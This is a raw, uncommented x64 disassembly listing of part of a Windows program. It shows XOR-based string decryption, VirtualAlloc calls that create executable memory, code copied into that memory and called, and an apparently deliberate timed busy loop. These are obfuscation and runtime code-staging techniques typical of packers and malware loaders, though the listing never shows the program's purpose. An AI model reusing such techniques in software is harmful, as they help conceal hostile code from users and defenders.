movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x140244591
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140298a40]
lea rcx, [0x14024df40]
mov qword [rsi + rax*8 + 0x2980d0], rcx
mov qword [rsi + rax*8 + 0x29a3b0], r8
inc rax
mov qword [0x140298a40], rax
lea rdx, [rsp + 0x184]
mov rcx, rbx
call r8
nop
mov rax, qword [rsp + 0x50]
xor rax, r14
mov qword [rsp + 0xb40], rax
lea rcx, [rsp + 0xaa48]
mov qword [rcx], rax
movups xmm0, xmmword [0x140280d40]
movups xmmword [rsp + 0x6c8], xmm0
movups xmm1, xmmword [0x140280d50]
movups xmmword [rsp + 0x6d8], xmm1
movups xmm0, xmmword [0x140280d60]
movups xmmword [rsp + 0x6e8], xmm0
movsd xmm0, qword [0x140280d70]
movsd qword [rsp + 0x6f8], xmm0
mov r9d, edi
mov ebx, dword [0x140294090]
cmp ebx, 2
jl 0x140244857
mov edx, edi
movdqa xmmword [rsp + 0x50], xmm9
lea rcx, [rsp + 0x6cc]
movd xmm4, edx
pshufd xmm4, xmm4, 0
paddd xmm4, xmm10
movdqa xmm2, xmm4
punpckldq xmm2, xmm4
movdqa xmm1, xmm4
punpckhdq xmm1, xmm4
movdqa xmm3, xmm2
pmuldq xmm3, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm3, xmm0, 0xdd
paddd xmm3, xmm4
psrad xmm3, 6
pmuldq xmm2, xmm7
pmuldq xmm1, xmm7
shufps xmm2, xmm1, 0xdd
psubd xmm2, xmm4
psrad xmm2, 6
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm12
movdqa xmm1, xmm4
psubd xmm1, xmm0
andps xmm1, xmm8
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm11
psubd xmm4, xmm0
andps xmm4, xmm8
packuswb xmm4, xmm4
packuswb xmm4, xmm4
paddb xmm1, xmm4
movd xmm0, dword [rsp + 0x50]
paddb xmm1, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm1, xmm0
movd dword [rcx - 4], xmm1
lea eax, [rdx + 4]
movd xmm4, eax
pshufd xmm4, xmm4, 0
paddd xmm4, xmm10
movdqa xmm2, xmm4
punpckldq xmm2, xmm4
movdqa xmm1, xmm4
punpckhdq xmm1, xmm4
movdqa xmm3, xmm2
pmuldq xmm3, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm3, xmm0, 0xdd
paddd xmm3, xmm4
psrad xmm3, 6
pmuldq xmm2, xmm7
pmuldq xmm1, xmm7
shufps xmm2, xmm1, 0xdd
psubd xmm2, xmm4
psrad xmm2, 6
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm12
movdqa xmm1, xmm4
psubd xmm1, xmm0
andps xmm1, xmm8
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm11
psubd xmm4, xmm0
andps xmm4, xmm8
packuswb xmm4, xmm4
packuswb xmm4, xmm4
paddb xmm1, xmm4
movd xmm0, dword [rsp + 0x50]
paddb xmm1, xmm0
movd xmm0, dword [rcx]
xorps xmm1, xmm0
movd dword [rcx], xmm1
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x38
jl 0x1402446d2
jmp 0x1402448b1
lea r10, [rsp + 0x6c8]
nop
mov eax, 0x1f7047dd
mul r9d
mov eax, r9d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 6
movsx eax, al
imul r8d, eax, 0x39
mov eax, 0x5f5f5f5f
imul r9d
sub edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
sub cl, r8b
add cl, 0x23
add cl, r9b
add cl, cl
xor byte [r10], cl
inc r9d
lea r10, [r10 + 1]
cmp r9d, 0x38
jl 0x140244860
xorps xmm0, xmm0
movups xmmword [rsp + 0x5a8], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x5b8], xmm1
lea rax, [rsp + 0x6c8]
mov r8, r15
inc r8
cmp byte [rax + r8], 0
jne 0x1402448d3
lea rdx, [rsp + 0x6c8]
lea rcx, [rsp + 0x5a8]
call fcn.14021c020
nop
lea rcx, [rsp + 0x5a8]
call fcn.14020d430
nop
lea rcx, [rsp + 0x5a8]
call fcn.14024c260
movups xmm4, xmmword [0x1402818b8]
movups xmmword [rsp + 0xd0], xmm4
movzx eax, word [0x1402818c8]
mov word [rsp + 0xe0], ax
cmp byte [0x1402818c9], 0
je 0x140244ca2
mov r9d, edi
cmp ebx, 2
jl 0x140244c37
movdqa xmm2, xmm10
punpckldq xmm2, xmm10
movdqa xmm1, xmm10
punpckhdq xmm1, xmm10
movdqa xmm3, xmm2
pmuldq xmm3, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm3, xmm0, 0xdd
paddd xmm3, xmm10
psrad xmm3, 6
pmuldq xmm2, xmm7
pmuldq xmm1, xmm7
shufps xmm2, xmm1, 0xdd
psubd xmm2, xmm10
psrad xmm2, 6
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm12
movdqa xmm2, xmm10
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm11
movdqa xmm1, xmm10
psubd xmm1, xmm0
andps xmm1, xmm8
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm2, xmm1
movd ecx, xmm9
movd xmm0, ecx
paddb xmm2, xmm0
movd eax, xmm4
movd xmm0, eax
xorps xmm2, xmm0
movd dword [rsp + 0xd0], xmm2
movdqa xmm4, xmmword [0x140284280]
movdqa xmm3, xmm4
punpckldq xmm3, xmm4
movdqa xmm1, xmm4
punpckhdq xmm1, xmm4
movdqa xmm2, xmm3
pmuldq xmm2, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm2, xmm0, 0xdd
paddd xmm2, xmm4
psrad xmm2, 6
pmuldq xmm3, xmm7
pmuldq xmm1, xmm7
shufps xmm3, xmm1, 0xdd
psubd xmm3, xmm4
psrad xmm3, 6
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm11
movdqa xmm2, xmm4
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm12
psubd xmm4, xmm0
andps xmm4, xmm8
packuswb xmm4, xmm4
packuswb xmm4, xmm4
paddb xmm2, xmm4
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rsp + 0xd4]
xorps xmm2, xmm1
movd dword [rsp + 0xd4], xmm2
movdqa xmm4, xmmword [0x1402842a0]
movdqa xmm2, xmm4
punpckldq xmm2, xmm4
movdqa xmm1, xmm4
punpckhdq xmm1, xmm4
movdqa xmm3, xmm2
pmuldq xmm3, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm3, xmm0, 0xdd
paddd xmm3, xmm4
psrad xmm3, 6
pmuldq xmm2, xmm7
pmuldq xmm1, xmm7
shufps xmm2, xmm1, 0xdd
psubd xmm2, xmm4
psrad xmm2, 6
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm12
movdqa xmm2, xmm4
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm11
psubd xmm4, xmm0
andps xmm4, xmm8
packuswb xmm4, xmm4
packuswb xmm4, xmm4
paddb xmm2, xmm4
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rsp + 0xd8]
xorps xmm2, xmm1
movd dword [rsp + 0xd8], xmm2
movdqa xmm4, xmmword [0x1402842c0]
movdqa xmm3, xmm4
punpckldq xmm3, xmm4
movdqa xmm1, xmm4
punpckhdq xmm1, xmm4
movdqa xmm2, xmm3
pmuldq xmm2, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm2, xmm0, 0xdd
paddd xmm2, xmm4
psrad xmm2, 6
pmuldq xmm3, xmm7
pmuldq xmm1, xmm7
shufps xmm3, xmm1, 0xdd
psubd xmm3, xmm4
psrad xmm3, 6
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm11
movdqa xmm2, xmm4
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm12
psubd xmm4, xmm0
andps xmm4, xmm8
packuswb xmm4, xmm4
packuswb xmm4, xmm4
paddb xmm2, xmm4
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rsp + 0xdc]
xorps xmm2, xmm1
movd dword [rsp + 0xdc], xmm2
mov r9d, 0x10
mov eax, r9d
lea r10, [rsp + 0xd0]
add r10, rax
nop word [rax + rax]
mov eax, 0x8fb823ef
imul r9d
add edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul r8d, eax, 0x39
mov eax, 0x5f5f5f5f
imul r9d
sub edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
sub cl, r8b
add cl, 0x23
add cl, r9b
add cl, cl
xor byte [r10], cl
inc r9d
lea r10, [r10 + 1]
cmp r9d, 0x12
jl 0x140244c50
xorps xmm0, xmm0
movups xmmword [rsp + 0x330], xmm0
mov qword [rsp + 0x340], rdi
mov qword [rsp + 0x348], rdi
lea rax, [rsp + 0xd0]
mov r8, r15
nop dword [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140244cd0
lea rdx, [rsp + 0xd0]
lea rcx, [rsp + 0x330]
call fcn.14021c020
lea rcx, [rsp + 0x330]
call fcn.14020f4d0
lea rbx, [0x140223220]
xorps xmm0, xmm0
movups xmmword [rsp + 0xb40], xmm0
lea rcx, [rsp + 0xaa48]
mov qword [rsp + 0xb48], r14
mov qword [rsp + 0xb50], rcx
mov rax, qword [rcx]
xor rax, r14
mov qword [rsp + 0x50], rax
mov qword [rsp + 0xb40], rax
mov qword [rcx], rdi
mov ecx, edi
mov rax, qword [0x140299a20]
test rax, rax
je 0x140244d79
mov rdx, rdi
nop dword [rax]
cmp rax, r12
je 0x140244d68
inc ecx
mov edx, ecx
mov rax, qword [rsi + rcx*8 + 0x299a20]
test rax, rax
jne 0x140244d50
jmp 0x140244d79
mov rdx, qword [rsi + rdx*8 + 0x29b9c0]
test rdx, rdx
jne 0x140244e5f
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rdx, rax
test rax, rax
jne 0x140244da2
mov rdx, rdi
jmp 0x140244e3e
mov rax, r12
mov rcx, rdx
mov r8, r13
nop dword [rax + rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub r8, 1
jne 0x140244db0
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x14029a6e8]
mov qword [rsi + rax*8 + 0x299a20], r12
mov qword [rsi + rax*8 + 0x29b9c0], rdx
inc rax
mov qword [0x14029a6e8], rax
mov rcx, rbx
call rdx
nop
mov rax, qword [rsp + 0x50]
xor rax, r14
mov qword [rsp + 0xb40], rax
lea rcx, [rsp + 0xaa48]
mov qword [rcx], rax
movups xmm0, xmmword [0x140280fc0]
movups xmmword [rsp + 0x8c0], xmm0
movups xmm1, xmmword [0x140280fd0]
movups xmmword [rsp + 0x8d0], xmm1
movups xmm0, xmmword [0x140280fe0]
movups xmmword [rsp + 0x8e0], xmm0
movups xmm1, xmmword [0x140280ff0]
movups xmmword [rsp + 0x8f0], xmm1
movups xmm0, xmmword [0x140281000]
movups xmmword [rsp + 0x900], xmm0
movups xmm1, xmmword [0x140281010]
movups xmmword [rsp + 0x910], xmm1
movups xmm0, xmmword [0x140281020]
movups xmmword [rsp + 0x920], xmm0
movups xmm1, xmmword [0x140281030]
movups xmmword [rsp + 0x930], xmm1
movsd xmm0, qword [0x140281040]
movsd qword [rsp + 0x940], xmm0
movzx eax, byte [0x140281048]
mov byte [rsp + 0x948], al
mov r9d, edi
cmp dword [0x140294090], 2
jl 0x1402450d3
movdqa xmmword [rsp + 0x50], xmm9
lea rcx, [rsp + 0x8c4]
nop word [rax + rax]
movd xmm4, r9d
pshufd xmm4, xmm4, 0
paddd xmm4, xmm10
movdqa xmm2, xmm4
punpckldq xmm2, xmm4
movdqa xmm1, xmm4
punpckhdq xmm1, xmm4
movdqa xmm3, xmm2
pmuldq xmm3, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm3, xmm0, 0xdd
paddd xmm3, xmm4
psrad xmm3, 6
pmuldq xmm2, xmm7
pmuldq xmm1, xmm7
shufps xmm2, xmm1, 0xdd
psubd xmm2, xmm4
psrad xmm2, 6
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm12
movdqa xmm1, xmm4
psubd xmm1, xmm0
andps xmm1, xmm8
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm11
psubd xmm4, xmm0
andps xmm4, xmm8
packuswb xmm4, xmm4
packuswb xmm4, xmm4
paddb xmm1, xmm4
movd xmm0, dword [rsp + 0x50]
paddb xmm1, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm1, xmm0
movd dword [rcx - 4], xmm1
lea eax, [r9 + 4]
movd xmm4, eax
pshufd xmm4, xmm4, 0
paddd xmm4, xmm10
movdqa xmm2, xmm4
punpckldq xmm2, xmm4
movdqa xmm1, xmm4
punpckhdq xmm1, xmm4
movdqa xmm3, xmm2
pmuldq xmm3, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm3, xmm0, 0xdd
paddd xmm3, xmm4
psrad xmm3, 6
pmuldq xmm2, xmm7
pmuldq xmm1, xmm7
shufps xmm2, xmm1, 0xdd
psubd xmm2, xmm4
psrad xmm2, 6
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm12
movdqa xmm1, xmm4
psubd xmm1, xmm0
andps xmm1, xmm8
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm11
psubd xmm4, xmm0
andps xmm4, xmm8
packuswb xmm4, xmm4
packuswb xmm4, xmm4
paddb xmm1, xmm4
movd xmm0, dword [rsp + 0x50]
paddb xmm1, xmm0
movd xmm0, dword [rcx]
xorps xmm1, xmm0
movd dword [rcx], xmm1
add r9d, 8
lea rcx, [rcx + 8]
cmp r9d, 0x88
jl 0x140244f40
cmp r9d, 0x89
jge 0x140245145
movsxd rax, r9d
lea r10, [rsp + 0x8c0]
add r10, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x8fb823ef
imul r9d
add edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul r8d, eax, 0x39
mov eax, 0x5f5f5f5f
imul r9d
sub edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
sub cl, r8b
add cl, 0x23
add cl, r9b
add cl, cl
xor byte [r10], cl
inc r9d
lea r10, [r10 + 1]
cmp r9d, 0x89
jl 0x1402450f0
lea rax, [rsp + 0x8c0]
mov qword [rsp + 0x1d0], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0xb40], xmm0
lea rcx, [rsp + 0xaa48]
mov qword [rsp + 0xb48], r14
mov qword [rsp + 0xb50], rcx
mov rax, qword [rcx]
xor rax, r14
mov qword [rsp + 0x50], rax
mov qword [rsp + 0xb40], rax
mov qword [rcx], rdi
mov edx, edi
mov rcx, qword [0x140298720]
test rcx, rcx
je 0x1402451d0
mov r8, rdi
lea rax, [0x14024df10]
cmp rcx, rax
je 0x1402451bf
inc edx
mov r8d, edx
mov rcx, qword [rsi + rdx*8 + 0x298720]
test rcx, rcx
jne 0x1402451a6
jmp 0x1402451d0
mov r8, qword [rsi + r8*8 + 0x297db0]
test r8, r8
jne 0x1402452bf
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
lea rdx, [0x14024df10]
test rax, rax
jne 0x140245200
mov r8, rdi
jmp 0x14024529e
mov rax, rdx
mov rcx, r8
mov r9, r13
nop dword [rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub r9, 1
jne 0x140245210
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140297a60]
mov qword [rsi + rax*8 + 0x298720], rdx
mov qword [rsi + rax*8 + 0x297db0], r8
inc rax
mov qword [0x140297a60], rax
lea rdx, [rsp + 0x1d0]
lea rcx, [0x14020b850]
call r8
nop
mov rax, qword [rsp + 0x50]
xor rax, r14
mov qword [rsp + 0xb40], rax
lea rcx, [rsp + 0xaa48]
mov qword [rcx], rax
call qword [sym.imp.MSVCP140.dll_unsigned_int___cdecl_std::_Random_device_void_]
mov dword [rsp + 0xa9a4], 0xffffffff
mov dword [rsp + 0x9624], eax
mov edx, 1
nop word [rax + rax]
mov ecx, eax
shr ecx, 0x1e
xor ecx, eax
imul eax, ecx, 0x6c078965
add eax, edx
mov dword [rsp + rdx*4 + 0x9624], eax
inc rdx
cmp rdx, 0x270
jb 0x140245310
mov dword [rsp + 0x9620], 0x270
mov dword [rsp + 0x40], edi
lea rcx, [rsp + 0x50]
call fcn.140201b40
mov r14, qword [rsp + 0x50]
add r14, 0x5f5e100
mov ebx, 1
nop dword [rax]
lea rcx, [rsp + 0x7c0]
call fcn.140201b40
cmp qword [rax], r14
jge 0x1402454ee
mov r15d, 0x186a0
nop dword [rax]
lea rcx, [rsp + 0x9620]
call fcn.14025d840
mov ecx, eax
imul rax, rcx, 0xc9
cmp eax, 0x63
ja 0x1402453bb
nop dword [rax + rax]
lea rcx, [rsp + 0x9620]
call fcn.14025d840
mov ecx, eax
imul rax, rcx, 0xc9
cmp eax, 0x64
jb 0x1402453a0
shr rax, 0x20
add eax, 0x7fffff9c
xor eax, 0x80000000
cmove eax, ebx
mov dword [rsp + 0x98], eax
lea rcx, [rsp + 0x9620]
call fcn.14025d840
mov ecx, eax
imul rcx, rcx, 0xc9
cmp ecx, 0x63
ja 0x14024540b
nop
lea rcx, [rsp + 0x9620]
call fcn.14025d840
mov ecx, eax
imul rcx, rcx, 0xc9
cmp ecx, 0x64
jb 0x1402453f0
shr rcx, 0x20
add ecx, 0x7fffff9c
btc ecx, 0x1f
mov eax, dword [rsp + 0x40]
add eax, ecx
mov dword [rsp + 0x40], eax
lea rcx, [rsp + 0x9620]
call fcn.14025d840
mov ecx, eax
imul rcx, rcx, 0xc9
cmp ecx, 0x63
ja 0x14024545b
nop
lea rcx, [rsp + 0x9620]
call fcn.14025d840
mov ecx, eax
imul rcx, rcx, 0xc9
cmp ecx, 0x64
jb 0x140245440
shr rcx, 0x20
add ecx, 0x7fffff9c
btc ecx, 0x1f
mov eax, dword [rsp + 0x40]
imul eax, ecx
mov dword [rsp + 0x40], eax
lea rcx, [rsp + 0x9620]
call fcn.14025d840
mov ecx, eax
imul rcx, rcx, 0xc9
cmp ecx, 0x63
ja 0x1402454ab
nop
lea rcx, [rsp + 0x9620]
call fcn.14025d840
mov ecx, eax
imul rcx, rcx, 0xc9
cmp ecx, 0x64
jb 0x140245490
shr rcx, 0x20
add ecx, 0x7fffff9c
btc ecx, 0x1f
mov eax, dword [rsp + 0x40]
sub eax, ecx
mov dword [rsp + 0x40], eax
mov eax, dword [rsp + 0x40]
cdq
mov ecx, dword [rsp + 0x98]
idiv ecx
mov dword [rsp + 0x40], eax
mov eax, dword [rsp + 0x40]
cdq
idiv ecx
mov dword [rsp + 0x40], edx
sub r15, rbx
jne 0x140245380
jmp 0x140245360
mov eax, dword [rsp + 0x40]
movups xmm0, xmmword [0x140282110]
movups xmmword [rsp + 0x700], xmm0
movups xmm1, xmmword [0x140282120]
movups xmmword [rsp + 0x710], xmm1
movups xmm0, xmmword [0x140282130]
movups xmmword [rsp + 0x720], xmm0
movups xmm1, xmmword [0x140282140]
movups xmmword [rsp + 0x730], xmm1
movsd xmm0, qword [0x140282150]
movsd qword [rsp + 0x740], xmm0
movzx eax, word [0x140282158]
mov word [rsp + 0x748], ax
mov r9d, edi
cmp dword [0x140294090], 2
movabs r14, 0xff00ff00ff00ff00
mov r15, 0xffffffffffffffff
jl 0x14024570d
movdqa xmmword [rsp + 0x50], xmm9
lea rcx, [rsp + 0x704]
nop
movd xmm4, r9d
pshufd xmm4, xmm4, 0
paddd xmm4, xmm10
movdqa xmm2, xmm4
punpckldq xmm2, xmm4
movdqa xmm1, xmm4
punpckhdq xmm1, xmm4
movdqa xmm3, xmm2
pmuldq xmm3, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm3, xmm0, 0xdd
paddd xmm3, xmm4
psrad xmm3, 6
pmuldq xmm2, xmm7
pmuldq xmm1, xmm7
shufps xmm2, xmm1, 0xdd
psubd xmm2, xmm4
psrad xmm2, 6
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm12
movdqa xmm1, xmm4
psubd xmm1, xmm0
andps xmm1, xmm8
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm11
psubd xmm4, xmm0
andps xmm4, xmm8
packuswb xmm4, xmm4
packuswb xmm4, xmm4
paddb xmm1, xmm4
movd xmm0, dword [rsp + 0x50]
paddb xmm1, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm1, xmm0
movd dword [rcx - 4], xmm1
lea eax, [r9 + 4]
movd xmm4, eax
pshufd xmm4, xmm4, 0
paddd xmm4, xmm10
movdqa xmm2, xmm4
punpckldq xmm2, xmm4
movdqa xmm1, xmm4
punpckhdq xmm1, xmm4
movdqa xmm3, xmm2
pmuldq xmm3, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm3, xmm0, 0xdd
paddd xmm3, xmm4
psrad xmm3, 6
pmuldq xmm2, xmm7
pmuldq xmm1, xmm7
shufps xmm2, xmm1, 0xdd
psubd xmm2, xmm4
psrad xmm2, 6
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm12
movdqa xmm1, xmm4
psubd xmm1, xmm0
andps xmm1, xmm8
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm11
psubd xmm4, xmm0
andps xmm4, xmm8
packuswb xmm4, xmm4
packuswb xmm4, xmm4
paddb xmm1, xmm4
movd xmm0, dword [rsp + 0x50]
paddb xmm1, xmm0
movd xmm0, dword [rcx]
xorps xmm1, xmm0
movd dword [rcx], xmm1
add r9d, 8
lea rcx, [rcx + 8]
cmp r9d, 0x48
jl 0x140245580
cmp r9d, 0x4a
jge 0x140245772
movsxd rax, r9d
lea r10, [rsp + 0x700]
add r10, rax
nop dword [rax + rax]
mov eax, 0x8fb823ef
imul r9d
add edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul r8d, eax, 0x39
mov eax, 0x5f5f5f5f
imul r9d
sub edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
sub cl, r8b
add cl, 0x23
add cl, r9b
add cl, cl
xor byte [r10], cl
inc r9d
lea r10, [r10 + 1]
cmp r9d, 0x4a
jl 0x140245720
xorps xmm0, xmm0
movups xmmword [rsp + 0x350], xmm0
mov qword [rsp + 0x360], rdi
mov qword [rsp + 0x368], rdi
lea rax, [rsp + 0x700]
mov r8, r15
nop dword [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x1402457a0
lea rdx, [rsp + 0x700]
lea rcx, [rsp + 0x350]
call fcn.14021c020
lea rcx, [rsp + 0x350]
call fcn.14020f4d0
lea rbx, [0x1402288b0]
xorps xmm0, xmm0
movups xmmword [rsp + 0xb40], xmm0
lea rcx, [rsp + 0xaa48]
mov qword [rsp + 0xb48], r14
mov qword [rsp + 0xb50], rcx
mov rax, qword [rcx]
xor rax, r14
mov qword [rsp + 0x50], rax
mov qword [rsp + 0xb40], rax
mov qword [rcx], rdi
mov ecx, edi
mov rax, qword [0x140299a20]
test rax, rax
je 0x140245849
mov rdx, rdi
nop dword [rax]
cmp rax, r12
je 0x140245838
inc ecx
mov edx, ecx
mov rax, qword [rsi + rcx*8 + 0x299a20]
test rax, rax
jne 0x140245820
jmp 0x140245849
mov rdx, qword [rsi + rdx*8 + 0x29b9c0]
test rdx, rdx
jne 0x14024592f
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rdx, rax
test rax, rax
jne 0x140245872
mov rdx, rdi
jmp 0x14024590e
mov rax, r12
mov rcx, rdx
mov r8, r13
nop dword [rax + rax]
